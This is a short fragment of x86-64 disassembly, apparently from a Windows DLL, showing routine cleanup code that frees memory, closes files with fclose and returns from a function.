mov rax, qword [0x180069158]
test rax, rax
je 0x180002923
dec dword [rax + 0x3bc]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18000294a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18000293c
mov qword [r14], rdi
mov rax, rsi
jmp 0x18000294c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret